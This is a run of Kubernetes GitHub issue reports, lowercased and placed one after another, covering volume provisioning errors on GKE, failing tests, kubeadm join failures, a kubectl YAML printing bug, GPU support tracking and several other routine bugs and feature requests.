 \r   what happened  :\r \r i created a new version 1.8.6-gke.0 alpha cluster on gke and it no longer is allowing me to dynamically provision volumes. \r \r i tried a few things, creating a pvc with this yaml:\r \r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc\r spec:\r   accessmodes:\r     - 'readwriteonce'\r   resources:\r     requests:\r       storage: '100gi'\r    \r and observed this error when calling 'describe' on the resource:\r \r    \r name:          pvc\r namespace:     default\r storageclass:  standard\r status:        pending\r volume:\r labels:        <none>\r annotations:   volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/gce-pd\r capacity:\r access modes:\r events:\r   type     reason              age              from                         message\r   ----     ------              ----             ----                         -------\r   warning  provisioningfailed  3s  x2 over 5s   persistentvolume-controller  failed to provision volume with storageclass \ standard\ : googleapi: error 403: required 'alpha access' permission for 'compute api', forbidden\r    \r \r i also tried defining my own storage class, according to:\r https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/\r and encountered a similar error.\r \r yaml:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: slow\r provisioner: kubernetes.io/gce-pd\r parameters:\r   type: pd-standard\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc\r spec:\r   accessmodes:\r     - 'readwriteonce'\r   storageclassname: slow\r   resources:\r     requests:\r       storage: '100gi'\r    \r \r 'describe' output:\r \r    \r storageclass \ slow\  created\r persistentvolumeclaim \ pvc\  created\r \r name:          pvc\r namespace:     default\r storageclass:  slow\r status:        pending\r volume:\r labels:        <none>\r annotations:   volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/gce-pd\r capacity:\r access modes:\r events:\r   type     reason              age   from                         message\r   ----     ------              ----  ----                         -------\r   warning  provisioningfailed  3s    persistentvolume-controller  failed to provision volume with storageclass \ slow\ : googleapi: error 403: required 'alpha access' permission for 'compute api', forbidden\r    \r it seems i may be missing some 'alpha access'. is there a way to sign up for this? although it seems like this functionality was working before.\r \r   what you expected to happen  :\r persistent volume to be dynamically provisioned and bound to the persistent volume claim.\r \r this methodology works on a 1.8.4.gke.x alpha cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a fresh alpha 1.8.6-gke.0 cluster on gke and try using the above yaml.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6-gke.0 \r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release : cos

master-upgrade tests are supposed to be blocking for the release.  however, two of the upgrade tests have been consistently failing for at least the last 3 weeks.  at this point, we need to decide whether these are going to get fixed, or removed from the sig-release-master-upgrade dashboard as non-blocking.  possibly we should just stop running them.\r \r those tests are:\r \r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-new\r \r have these tests  ever  passed? \r \r    / \r cc:\r \r @cjwagner \r @aishsundar \r @mohammedzee1000

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r n/a\r \r   which test s  are failing  :\r \r     should function for node-pod communication: udp\r \r   since when has it been failing  :\r \r unknown.\r \r   testgrid link  :\r \r the test is currently excluded.\r https://testgrid.k8s.io/sig-windows conformance%20acs-engine%20on%20azure\r \r   reason for failure  :\r \r by default, cmd is used to execute commands in windows containers, but it has some issues executing the command  no output :\r \r     echo 'hostname' | nc -w 1 -u <targetip> <targetport>\r \r but it has no issues running  output is correct :\r \r     echo hostname | nc -w 1 -u <targetip> <targetport>\r \r this causes the test \ should function for node-pod communication: udp\  to fail when using windows containers.\r \r \r   anything else we need to know  :\r \r  

what happened  :\r standing up a new node from scratch  rebuilding actually , node won't join using kubeadm, and kubelet doesn't start   /var/lib/kubelet/  is empty/doesn't exist .\r \r   what you expected to happen  :\r node joins the cluster correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a running cluster  in my case, 2 control planes running 1.14.1, was a 3 node cluster, had to rebuild 1 of them .\r run  kubeadm token create --print-join-command  on existing master\r add the following arguments:\r  --experimental-control-plane --certificate-key $key  where key is saved value  or output from  kubeadm init phase upload-certs --experimental-upload-certs  ran on existing master .\r output:\r    \r kubeadm join kube-apiserver:6443 --token <redacted>     --discovery-token-ca-cert-hash sha256:<redacted> --experimental-control-plane --certificate-key <redacted>\r  preflight  running pre-flight checks\r  preflight  reading configuration from the cluster...\r  preflight  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  preflight  running pre-flight checks before initializing the new control plane instance\r  preflight  pulling images required for setting up a kubernetes cluster\r  preflight  this might take a minute or two, depending on the speed of your internet connection\r  preflight  you can also perform this action in beforehand using 'kubeadm config images pull'\r  download-certs  downloading the certificates in secret \ kubeadm-certs\  in the \ kube-system\  namespace\r  certs  using certificatedir folder \ /etc/kubernetes/pki\ \r  certs  generating \ front-proxy-client\  certificate and key\r  certs  generating \ etcd/server\  certificate and key\r  certs  etcd/server serving cert is signed for dns names  k8s-master01.domain.local localhost  and ips  10.20.0.100 127.0.0.1 ::1 \r  certs  generating \ apiserver-etcd-client\  certificate and key\r  certs  generating \ etcd/peer\  certificate and key\r  certs  etcd/peer serving cert is signed for dns names  k8s-master01.domain.local localhost  and ips  10.20.0.100 127.0.0.1 ::1 \r  certs  generating \ etcd/healthcheck-client\  certificate and key\r  certs  generating \ apiserver\  certificate and key\r  certs  apiserver serving cert is signed for dns names  k8s-master01.domain.local kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local kube-apiserver kube-apiserver  and ips  10.22.0.1 10.20.0.100 \r  certs  generating \ apiserver-kubelet-client\  certificate and key\r  certs  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  certs  using the existing \ sa\  key\r  kubeconfig  generating kubeconfig files\r  kubeconfig  using kubeconfig folder \ /etc/kubernetes\ \r  kubeconfig  writing \ admin.conf\  kubeconfig file\r  kubeconfig  writing \ controller-manager.conf\  kubeconfig file\r  kubeconfig  writing \ scheduler.conf\  kubeconfig file\r  control-plane  using manifest folder \ /etc/kubernetes/manifests\ \r  control-plane  creating static pod manifest for \ kube-apiserver\ \r  control-plane  creating static pod manifest for \ kube-controller-manager\ \r  control-plane  creating static pod manifest for \ kube-scheduler\ \r  check-etcd  checking that the etcd cluster is healthy\r error execution phase check-etcd: error syncing endpoints with etc: dial tcp 10.20.0.100:2379: connect: connection refused\r    \r \r   anything else we need to know?  :\r i don't think so?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r - cloud provider or hardware configuration:\r 8g of ram, i5-4570s\r - os  e.g:  cat /etc/os-release  :\r fedora 28\r - kernel  e.g.  uname -a  :\r 5.0.9-100.fc28.x86_64\r \r thank you!

i have downloaded kubernetes 1.0.6 from https://github.com/kubernetes/kubernetes/releases  kube2sky fails to start because of the following error:      kubernetes_ro_service_host is not defined.      indeed, by inspecting  /proc/.../environ  i can see that none of the  kubernetes_ro_   variables are set. if i manually set  kubernetes_ro_service_host=192.168.10.1  and  kubernetes_ro_service_port=8080   the host and port of the insecure api server  in  skydns-rc.yaml , kube2sky starts, but every request fails with \ invalid request\ .  i could provide more details, but my guess is that the   docker hub has an outdated version of kubernetes/kube2sky  , which is no longer compatible with the latest version of kubernetes. fyi, kube2sky from the docker hub does not support  -kube_master_url  option.

we need to run build/versionize-docs.sh while cherrypicking docs changes to release branch. the script for cutting the release runs versionize-docs but cherrypick script does not.  i am not sure if we can edit users commit that is being cherrypicked, we can maybe add another commit to the cherrypick pr?  cc @ihmccreery @zmerlynn @caesarxuchao

https://github.com/kubernetes/kubernetes/pull/6573 introduces the alias for resources. as our code base evolves, this code needs overhaul. i've noticed several problems: 1.  aliastoresource  is a global variable, so every  defaultrestmapper  has the same alias map. https://github.com/kubernetes/kubernetes/blob/master/pkg/api/meta/restmapper.go l492     this hasn't caused any bug yet because the problem is hidden by  splitresourceargument   2. so far the only alias we have is \ all\ , added in https://github.com/kubernetes/kubernetes/blob/master/pkg/api/install/install.go l119, which will be translated to  \ rc\ , \ svc\ , \ pods\ , \ pvc\  . i think this map needs to be updated. and i'd suggest use another alias, because kubectl also has a flag  --all , which is confusing.  fwiw, i thought about using our shortcutexpander to replace the alias code, but it doesn't seem to work because they are in different stages of the cmdline argument processing.  @kargakis @janetkuo

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : pre-commit, precommit, hack/update-generated-swagger-docs\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r the connection to the server localhost:6443 was refused - did you specify the right host or port?\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : none\r -   os    e.g. from /etc/os-release : os x el capitan\r -   kernel    e.g.  uname -a  : darwin tony-li-8834 15.6.0 darwin kernel version 15.6.0: mon jan  9 23:07:29 pst 2017; root:xnu-3248.60.11.2.1~1/release_x86_64 x86_64\r -   install tools  :\r -   others  :\r \r   what happened  :\r can't commit.\r \r    \r redacted@tony-li-8834: /users/redacted/code/go/src/k8s.io/kubernetes  1   ingress-pre-shared-tls u= origin/ingress-pre-shared-tls \r git s\r git    ingress-pre-shared-tls...origin/ingress-pre-shared-tls\r m  pkg/apis/extensions/validation/validation_test.go\r  m pkg/generated/bindata.go\r redacted@tony-li-8834: /users/redacted/code/go/src/k8s.io/kubernetes  1   ingress-pre-shared-tls u= origin/ingress-pre-shared-tls \r git commit \r checking that it builds... ok\r \r checking for files that need gofmt... ok\r \r checking for package aliases... ok\r \r checking for files that need boilerplate... ok\r \r checking for problems with flag names... ok\r \r checking for api descriptions... ok\r \r checking for swagger type documentation that need updating... error!\r swagger type documentation needs to be updated.\r to regenerate the spec, run:\r   hack/update-generated-swagger-docs.sh\r \r checking for swagger spec that need updating... ok\r \r checking for openapi spec that need updating... ok\r \r checking for federation openapi spec that need updating... ^c\r make:      all  interrupt: 2\r !!! error in hack/verify-federation-openapi-spec.sh:35\r   error in hack/verify-federation-openapi-spec.sh:35. '\ ${kube_root}/hack/update-federation-openapi-spec.sh\ ' exited with status 130\r call stack:\r   1: hack/verify-federation-openapi-spec.sh:35 main ... \r exiting with status 1\r cp: /users/redacted/code/go/src/k8s.io/kubernetes/_tmp_federation/openapi-spec: no such file or directory\r error!\r federation openapi spec needs to be updated.\r to regenerate the spec, run:\r   hack/update-federation-openapi-spec.sh\r \r aborting commit\r redacted@tony-li-8834: /users/redacted/code/go/src/k8s.io/kubernetes  130   ingress-pre-shared-tls u= origin/ingress-pre-shared-tls \r   hack/update-generated-swagger-docs.sh\r generating swagger type docs for meta/v1 at vendor/k8s.io/apimachinery/pkg/apis/meta/v1\r generating swagger type docs for v1 at pkg/api/v1\r generating swagger type docs for apps/v1beta1 at pkg/apis/apps/v1beta1\r generating swagger type docs for authentication.k8s.io/v1beta1 at pkg/apis/authentication/v1beta1\r generating swagger type docs for authorization.k8s.io/v1beta1 at pkg/apis/authorization/v1beta1\r generating swagger type docs for autoscaling/v1 at pkg/apis/autoscaling/v1\r generating swagger type docs for batch/v1 at pkg/apis/batch/v1\r generating swagger type docs for batch/v2alpha1 at pkg/apis/batch/v2alpha1\r generating swagger type docs for certificates.k8s.io/v1beta1 at pkg/apis/certificates/v1beta1\r generating swagger type docs for extensions/v1beta1 at pkg/apis/extensions/v1beta1\r generating swagger type docs for imagepolicy.k8s.io/v1alpha1 at pkg/apis/imagepolicy/v1alpha1\r generating swagger type docs for policy/v1beta1 at pkg/apis/policy/v1beta1\r generating swagger type docs for rbac.authorization.k8s.io/v1beta1 at pkg/apis/rbac/v1beta1\r generating swagger type docs for rbac.authorization.k8s.io/v1alpha1 at pkg/apis/rbac/v1alpha1\r generating swagger type docs for storage.k8s.io/v1beta1 at pkg/apis/storage/v1beta1\r redacted@tony-li-8834: /users/redacted/code/go/src/k8s.io/kubernetes  ingress-pre-shared-tls u= origin/ingress-pre-shared-tls \r \r redacted@tony-li-8834: /users/redacted/code/go/src/k8s.io/kubernetes  ingress-pre-shared-tls u= origin/ingress-pre-shared-tls \r time git commit \r checking that it builds... \r \r \r ok\r \r checking for files that need gofmt... ok\r \r checking for package aliases... ok\r \r checking for files that need boilerplate... ok\r \r checking for problems with flag names... ok\r \r checking for api descriptions... ok\r \r checking for swagger type documentation that need updating... error!\r swagger type documentation needs to be updated.\r to regenerate the spec, run:\r   hack/update-generated-swagger-docs.sh\r \r checking for swagger spec that need updating... \r ok\r \r checking for openapi spec that need updating... ok\r \r checking for federation openapi spec that need updating... ok\r \r aborting commit\r \r real\t13m23.034s\r user\t24m19.516s\r sys\t9m41.522s\r    \r \r   what you expected to happen  :\r that after running  hack/update-generated-swagger-docs.sh  i can commit.\r \r   how to reproduce it    as minimally and precisely as possible :\r i can't tell. i only added a test case to a  _test.go  file. already passed this git hook in previous commit where i changed the spec?\r \r i skipped the hook and pushed. it was commit 5a024b6 here: https://github.com/kubernetes/kubernetes/compare/master...tonglil:ingress-pre-shared-tls.\r \r   anything else we need to know  :\r \r also very slow: https://github.com/kubernetes/kubernetes/issues/15630.\r maybe related  ? : https://github.com/kubernetes/kubernetes/issues/40329

what happened  :\r hack/test_owners.csv was discussed in sig-node and problems were discussed with the process.\r \r problems:\r 1. there is no automation that auto assigns test owners when a pr is merged\r 1. approvers/reviewers are missing that updates are needed to that file before lgtm of pr\r 1. having all test owners in a single file promotes rebase problems  https://github.com/kubernetes/kubernetes/issues/35850 \r \r potential improvements:\r 1. i assume sig-node would just like all tests under test/e2e_node assigned to sig-node by default\r 1. i assume sig-federation would like just all test under test/e2e_federation to follow a similar practice in future...\r \r i am opening this issue to ensure that the discussion from sig-node is not lost.\r \r @kubernetes/sig-contributor-experience-misc @kubernetes/sig-node-proposals

this issue is meant to track all issues and features around managing gpus in kubernetes. this issue is meant to reflect priorities, timeline and owners too.\r    v1.7\r -  x  all gpus get exposed to privileged containers  46007  owner: @cmluciano, reviewer: @vishh  \r   - kubernetes/kubernetes.github.io 3870\r -  x  enable gpu node e2e tests - requires starting vms in gce with gpus   owner: @vishh     45430\r -  x  enable cluster e2e tests - requires automated installation of nvidia drivers on cos image   @vishh   45136\r \r    post v1.7  1.8 \r -     avoid depending of docker apis for identifying gpus in use. fixing this issue will make gpu integration work with all runtimes  43240  owner: @jiayingz, reviewer: @vishh  \r -     add gpu metrics to cadvisor\r -     run gpu e2e on prs  47192\r \r    known bugs\r -     support for hot-plug of gpus  44080  dropped because nvidia drivers recommend rebooting nodes post installation \r -  x  gpusinuse info error when kubelet restarts  46087\r \r

is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?  : save-config, view-last-applied\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : cos\r \r   what happened  :\r \r create this:\r \r    shell\r $ cat <<end | | kubectl create --save-config -f -\r kind: configmap\r apiversion: v1\r metadata:\r   name: test\r data:\r   myfile: |-\r     this is stuff.\r     %% this is more stuff.\r     and also stuff.\r end\r configmap \ test\  created\r    \r \r then we print it:\r \r    \r $ kubectl apply view-last-applied cm test\r apiversion: v1\r data:\r   myfile: |-\r     this is stuff.\r     % this is more stuff.\r     and also stuff.\r kind: configmap\r metadata:\r   annotations: {}\r   name: test\r   namespace: staging\r    \r \r notice that  %%  is printed as  % . but the saved config is correct, so it's clearly a yaml-printing error:\r \r    yaml\r $ kubectl get cm test -oyaml\r apiversion: v1\r data:\r   myfile: |\r     this is stuff.\r     %% this is more stuff.\r     and also stuff.\r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ myfile\ :\ this is stuff.\ %% this is more stuff.\ and also stuff.\ \ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ test\ ,\ namespace\ :\ staging\ }}\r   creationtimestamp: 2017-05-10t19:55:02z\r   name: test\r   namespace: staging\r   resourceversion: \ 8965664\ \r   selflink: /api/v1/namespaces/staging/configmaps/test\r   uid: 8df6ccf5-35ba-11e7-9cda-42010a8e01bd\r    \r \r this seems to be caused by  %  being interpreted as a go format code, because i also get this for other occurrences of  % :\r \r    \r         summary = \ {{ $value }}%!r missing eplicas unavailable\ \r    \r \r   what you expected to happen  :\r it should print the exact saved data.\r \r   how to reproduce it    as minimally and precisely as possible :\r see above.

\r in kubernetes, if i want to enable the docker host port mapping, i have to write the hostport explicitly in the yaml file and kubernetes can't map the host ports to random ports like docker does in docker run -p.\r \r     ports:\r     - containerport: 8080\r       hostport: 1379\r       protocol: tcp\r     - containerport: 9090\r       hostport: 1380\r       protocol: tcp\r \r now i have an actual requirement that docker needs to expose some ports like 880、8080、9090. except that the docker inside has other services might using other ports. now i need to map docker exposed ports to random ports in the hostnetwork mode.\r \r my solution: i expect to analyse kubernetes source code, learn about the process of kubernetes dealing with docker host ports mapping. in hostnetwork mode, scan host ports from 0-65535, check out some host unused ports, while kubernetes dealing with docker host ports mapping, try to map those unused ports to docker exposed ports. in this way, the yaml template like this:\r \r \r     portmappingnet: true\r     ports:\r     - containerport: 8080\r       hostport: random\r       protocol: tcp\r     - containerport: 9090\r       hostport: random\r       protocol: tcp\r \r \r   i don't know whether this solution will work. expect your replies. thanks~  :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r impersonation is sufficiently capable that this method seems redundant, even when debugging.\r \r @deads2k i remember you were the one who originally requested this. any objections to removing?\r \r /cc @kubernetes/sig-auth-feature-requests \r

 \r   what happened  :\r testing is not working on master  commit 18758f502c4a249bf999f34e4a115ec9881cd9f2  on mac running high sierra and go 1.9.2.\r \r nil pointer dererefence in testcadvisorlistpodstats:\r    \r $ date; make test goflags=\ -p 1 -v\  what=./pkg/kubelet/stats kube_test_args='-run testcadvisorlistpodstats'; date\r tue dec 26 14:29:23 pst 2017\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  1226 14:29:28  running tests without code coverage\r === run   testcadvisorlistpodstats\r --- fail: testcadvisorlistpodstats  0.00s \r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x10 pc=0x217c0fb \r \r goroutine 47  running :\r testing.trunner.func1 0xc42042e0f0 \r \t/usr/local/go/src/testing/testing.go:711 +0x2d2\r panic 0x23d0440, 0x32fc760 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r time.time.time.unix ... \r \t/users/erichole/dev/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/stats_provider_test.go:557\r k8s.io/kubernetes/pkg/kubelet/stats.checkcpustats 0xc42042e0f0, 0x26418c0, 0x4, 0x3e8, 0x0 \r \t/users/erichole/dev/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/stats_provider_test.go:557 +0xdb\r k8s.io/kubernetes/pkg/kubelet/stats.testcadvisorlistpodstats 0xc42042e0f0 \r \t/users/erichole/dev/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cadvisor_stats_provider_test.go:233 +0x2e28\r testing.trunner 0xc42042e0f0, 0x26dc568 \r \t/usr/local/go/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:789 +0x2de\r exit status 2\r fail\tk8s.io/kubernetes/pkg/kubelet/stats\t0.085s\r make:      test  error 1\r tue dec 26 14:29:35 pst 2017\r    \r \r   what you expected to happen  :\r tests to pass. compilation is all good.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make test goflags=\ -p 1 -v\  what=./pkg/kubelet/stats kube_test_args='-run testcadvisorlistpodstats' \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : macosx 10.13.2\r - kernel  e.g.  uname -a  : darwin erics-macbook-pro.local 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64 \r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when i am fixing  waitforattach failure  https://github.com/kubernetes/kubernetes/pull/62612  in azure_dd, i also find there could be same issue for aws_ebs, below are the context:\r from v1.10,  devicepath  will be updated due to following code change:\r https://github.com/kubernetes/kubernetes/blob/568afb4ecca99bc3b54fddc20927b3713369d357/pkg/volume/util/operationexecutor/operation_generator.go l517-l518\r \r the gce disk won't have this issue since  devicepath  is not used in  waitforattach func  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/gce_pd/attacher.go l133 , while aws disk is also using  devicepath   in  waitforattach func  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/aws_ebs/attacher.go l145 , i think there is potentical issue for aws_ebs\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the e2e framework has grown organically over time. as a result, it is both hard to maintain and close to impossible to use outside of kubernetes itself.\r \r   what you expected to happen  :\r \r the goal is to make it possible that other projects can:\r - import test/e2e/framework as a vendor dependency without pulling in support for cloud providers and any tests  because of the huge dependency chains that a complete import causes \r - import support for cloud providers and tests separately if desired\r - add custom tests without modifying the framework\r - create and run a ginkgo suite\r \r one potential user for this is the kubernetes csi project, which currently relies on tests in kubernetes to test the out-of-tree sidecar containers. testing the \ canary\  sidecar containers is done manually by developers. there is an on-going effort to unify all sidecar containers in one repo  https://docs.google.com/document/d/1xc0cm11wtebt9m_9yzbfzud24gjrxlp55gdr5qamhmm/edit , which then could also import and run the e2e testing in travisci.\r \r other users are csi driver developers.\r \r for a full description of this proposal including an implementation plan, see this google doc: https://docs.google.com/document/d/1lpg264zlwpbiufep9p0-c0vxdmcc7wzwaapf53bbxba/edit?usp=sharing

example: https://console.cloud.google.com/storage/kubernetes-jenkins/pr-logs/pull/28025/node-pull-build-e2e-test/12221/  the test ran into a known kernel issue  unregister_netdevice,   27498 , however, besides that, the docker log is full of deletion errors such as      un 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.376506832z\  level=error msg=\ handler for delete /v1.22/containers/gcr.io/google_containers/busybox:1.24 returned error: no such container: gcr.io/google_containers/busybox:1.24\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.376937911z\  level=error msg=\ handler for delete /v1.22/containers/\\\ sh returned error: no such container: \\\ sh\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.377322911z\  level=error msg=\ handler for delete /v1.22/containers/-c returned error: no such container: -c\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.377757540z\  level=error msg=\ handler for delete /v1.22/containers/'echo returned error: no such container: 'echo\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.378122973z\  level=error msg=\ handler for delete /v1.22/containers/test returned error: no such container: test\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.378497874z\  level=error msg=\ handler for delete /v1.22/containers/> returned error: no such container: >\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.378923031z\  level=error msg=\ handler for delete /v1.22/containers/\\\  returned error: no such container: \\\ \  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.379283089z\  level=error msg=\ handler for delete /v1.22/containers/9 returned error: conflict, you cannot remove a running container. stop the container before attempting removal or use -f\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.379649910z\  level=error msg=\ handler for delete /v1.22/containers/minutes returned error: no such container: minutes\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.380037975z\  level=error msg=\ handler for delete /v1.22/containers/ago returned error: no such container: ago\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.380426631z\  level=error msg=\ handler for delete /v1.22/containers/exited returned error: no such container: exited\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.380799162z\  level=error msg=\ handler for delete /v1.22/containers/ 137  returned error: no such container:  137 \  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.381158982z\  level=error msg=\ handler for delete /v1.22/containers/8 returned error: no such container: 8\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.381518371z\  level=error msg=\ handler for delete /v1.22/containers/minutes returned error: no such container: minutes\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.381884010z\  level=error msg=\ handler for delete /v1.22/containers/ago returned error: no such container: ago\  jun 22 23:38:43 instance-2.c.coreos-gce-testing.internal dockerd 1139 : time=\ 2016-06-22t23:38:43.382601424z\  level=error msg=\ handler for delete /v1.22/containers/k8s_busybox-readonly-fsda106f5f-38d0-11e6-b51a-42010af00010.14c443c6_busybox-readonly-fsda106f5f-38d0-11e6-b51a-42010af00010_e2e-tests-kubelet-test-ws57d_2bf9ca5e-38d1-11e6-a905-42010af00010_15ff4e42 returned error: no such container: k8s_busybox-readonly-fsda106f5f-38d0-11e6-b51a-42010af00010.14c443c6_busybox-readonly-fsda106f5f-38d0-11e6-b51a-42010af00010_e2e-tests-kubelet-test-ws57d_2bf9ca5e-38d1-11e6-a905-42010af00010_15ff4e42\       it seems like something  kubelet?  was trying to delete containers whose name was extracted from \ exited  137  8 minutes ago\ . i am not sure if this is related to the kernel bug, but it's not very intuitive that the kernel bug could've caused this.

